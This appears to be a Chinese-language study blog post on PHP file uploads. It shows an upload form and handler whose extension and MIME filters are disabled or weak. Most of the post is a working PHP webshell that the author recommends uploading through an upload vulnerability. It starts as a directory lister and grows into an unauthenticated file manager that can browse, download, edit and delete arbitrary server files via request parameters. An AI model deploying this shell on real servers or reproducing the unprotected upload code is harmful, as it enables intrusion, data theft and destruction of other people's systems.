今天學習文件上傳的相關知識
上傳的前端頁面如下
upload.html
<!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>簡單文件上傳</title><style>body {font-family: Arial, sans-serif;max-width: 600px;margin: 0 auto;padding: 20px;}.upload-container {border: 2px dashed #ccc;padding: 20px;text-align: center;border-radius: 5px;}.upload-btn {background-color: #4CAF50;color: white;padding: 10px 20px;border: none;border-radius: 4px;cursor: pointer;font-size: 16px;margin-top: 15px;}.upload-btn:hover {background-color: #45a049;}.note {font-size: 14px;color: #666;margin-top: 10px;}</style> </head> <body> <h1>文件上傳</h1> <form action="upload.php" method="post" enctype="multipart/form-data"><div class="upload-container"><h3>選擇要上傳的文件</h3><input type="file" name="file" id="file" required><p class="note">注意:實際文件上傳需要服務器端處理腳本</p><button type="submit" class="upload-btn">上傳文件</button></div> </form> </body> </html>![]()
配套的php文件如下:
upload.php
?
<?php$name = $_FILES['file']['name']; $type = $_FILES['file']['type']; $size = $_FILES['file']['size']; $temp_name = $_FILES['file']['tmp_name']; echo $type;$error = $_FILES['file']['error'];$black_ext = array('jpg', 'jpeg', 'gif', 'png');//添加非法文件類型 $fenge = explode(".", $name);//通過.分割文件形成數組 $exts = end($fenge);//拿到數組最后面的數據//黑名單過濾 //if (in_array($exts, $black_ext)) {//對后綴進行驗證 // echo "非法文件'.$exts'";//失敗 //}else{ // move_uploaded_file($temp_name, './'.$name);//保存在根目錄下 // echo '<script>alert("上傳成功");</script>'; //}//白名單過濾 //$allow_type = array('image/jpeg','video/mp4','image/png','image/gif'); //if(!in_array($type,$allow_type)){ // echo '非法后綴'; //}else{ // move_uploaded_file($temp_name,'.'.$name); // echo '<script>alert</script>'; //}?>
兩個過濾模式
黑名單過濾
白名單過濾
html調用后可以上傳文件
如果遇到上傳漏洞 可以使用一下的簡單代碼拿到數據 例子如下
<?php$dir = $_GET['dir'] ?? './';function show_file($dir) {$d = opendir($dir);while(($file=readdir($d))!==false){if(is_dir($file)){echo '文件夾:'.$file."<br>";}else{echo '文件:'.$file."<br>";}} }show_file($dir);上傳文件成功和 訪問即可 這里修改了dir里面的參數
![]()
成功拿到目錄信息
優化拿到目錄(文件)后的操作
并且添加了刪除 下載 修改功能
?
<?php // 獲取操作類型(刪除、下載、編輯) $action = isset($_GET['a']) ? $_GET['a'] : ''; // 獲取路徑參數,默認當前目錄 $path = isset($_GET['path']) ? $_GET['path'] : './';// 路徑處理:去除兩端斜杠/反斜杠 $path = rtrim($path, '/\\');//判斷是文件還是目錄 if (is_file($path)) {$current_dir = dirname($path) . '/'; // 文件所在目錄$file = basename($path); // 文件名 } else {$current_dir = $path . '/'; // 目錄路徑// 檢查目錄是否存在if (!is_dir($current_dir)) {die('sorry, the directory does not exist: ' . $current_dir);} }//拿到路徑信息 function getlist($path) {$hd = opendir($path); // 打開目錄句柄$list = ['dir' => [], 'file' => []]; // 初始化分類數組// 遍歷目錄內容while(($file_name = readdir($hd)) !== false) {// 跳過當前目錄(.)和上級目錄(..)if($file_name != "." && $file_name != "..") {$file_path = $path . $file_name; // 完整文件路徑// 跳過不存在的文件if(!file_exists($file_path)) continue;$file_type = filetype($file_path); // 獲取文件類型// 按類型分類存儲文件信息$list[$file_type][] = array('file_name' => $file_name, // 文件名'file_path' => $file_path, // 完整路徑'file_size' => is_file($file_path) ? round(filesize($file_path)/1024) : '-', // 文件大小(KB)'file_time' => date('Y/m/d', filemtime($file_path)), // 修改日期);}}closedir($hd); // 關閉目錄句柄return $list; }// 獲取當前目錄內容列表 $list = getlist($current_dir);//執行對應操作 switch($action) {// 刪除文件操作case 'del':if(isset($_GET['path'])) {$fileToDelete = $_GET['path'];// 驗證文件存在且是普通文件if(file_exists($fileToDelete) && is_file($fileToDelete)) {// 執行刪除if(unlink($fileToDelete)) {// 刪除成功后返回父目錄header("Location: ?path=" . dirname($fileToDelete));exit;} else {die('刪除文件失敗,可能是權限不足');}} else {die('文件不存在或不是普通文件');}} else {die('未指定要刪除的文件路徑');}break;// 文件下載操作case 'down':if (isset($_GET['path'])) {$file = $_GET['path'];// 驗證文件存在且是普通文件if (file_exists($file) && is_file($file)) {// 設置下載頭信息header('Content-Type: application/octet-stream'); // 二進制流header('Content-Disposition: attachment; filename="' . basename($file) . '"'); // 下載文件名header('Content-Length: ' . filesize($file)); // 文件大小readfile($file); // 輸出文件內容exit;}}break;// 文件編輯操作case 'edit':if (isset($_GET['path'])) {$file = $_GET['path'];// 處理保存操作(POST請求)if ($_SERVER['REQUEST_METHOD'] === 'POST') {$content = $_POST['content'] ?? ''; // 獲取編輯內容// 寫入文件if (file_put_contents($file, $content) !== false) {// 保存成功返回目錄header("Location: ?path=" . dirname($file));exit;} else {die('保存文件失敗,可能是權限不足');}}// 顯示編輯界面if (file_exists($file) && is_file($file) && is_readable($file)) {$content = htmlspecialchars(file_get_contents($file)); // 讀取內容并轉義$filename = basename($file); // 獲取純文件名// 輸出編輯界面HTMLecho <<<HTML <!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>編輯文件 - {$filename}</title><style>body { font-family: Arial, sans-serif; margin: 20px; }h1 { margin-bottom: 20px; }textarea { width: 100%; height: 400px; font-family: monospace; }.actions { margin-top: 10px; }</style> </head> <body><h1>編輯文件: {$filename}</h1><form method="post"><textarea name="content">{$content}</textarea><div class="actions"><button type="submit">保存</button><a href="?path=" . dirname($file) . "">取消</a></div></form> </body> </html> HTML;exit;} else {die('文件不可編輯或不存在');}}break;// 默認情況:顯示目錄內容default:break; } ?><!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>設備類型圖例</title><style>body {font-family: Arial, sans-serif;margin: 20px;}h1 {text-align: center;margin-bottom: 20px;}table {width: 100%;border-collapse: collapse;margin-top: 20px;}th, td {border: 1px solid #ddd;padding: 8px;text-align: left;}th {background-color: #f2f2f2;text-align: center;}img {vertical-align: middle;}</style> </head> <body> <h1>圖例</h1> <table><thead><tr><th>圖形</th><th>名稱</th><th>日期</th><th>大小</th><th>路徑</th><th>操作</th></tr></thead><tbody><?php foreach ($list['dir'] as $v): ?><tr><td><img src="./img/file.png" width="20" height="20"></td><td><?php echo htmlspecialchars($v['file_name']); ?></td><td><?php echo $v['file_time']; ?></td><td>-</td><td><?php echo htmlspecialchars($v['file_path']); ?></td><td><a href="?path=<?php echo urlencode($v['file_path']); ?>">打開</a></td></tr><?php endforeach; ?><?php foreach ($list['file'] as $v): ?><tr><td></td><td><?php echo htmlspecialchars($v['file_name']); ?></td><td><?php echo $v['file_time']; ?></td><td><?php echo $v['file_size']; ?></td><td><?php echo htmlspecialchars($v['file_path']); ?></td><td><a href="?a=edit&path=<?php echo urlencode($v['file_path']); ?>">編輯</a><a href="?a=down&path=<?php echo urlencode($v['file_path']); ?>">下載</a><a href="?a=del&path=<?php echo urlencode($v['file_path']); ?>" οnclick="return confirm('確定刪除嗎?')">刪除</a></td></tr><?php endforeach; ?></tbody> </table> </body> </html>功能就不一一展示了![]()
功能都可以實現 但是全是安全問題
通過代碼 知道了大致的文件上傳的過程于一些基本的安全問題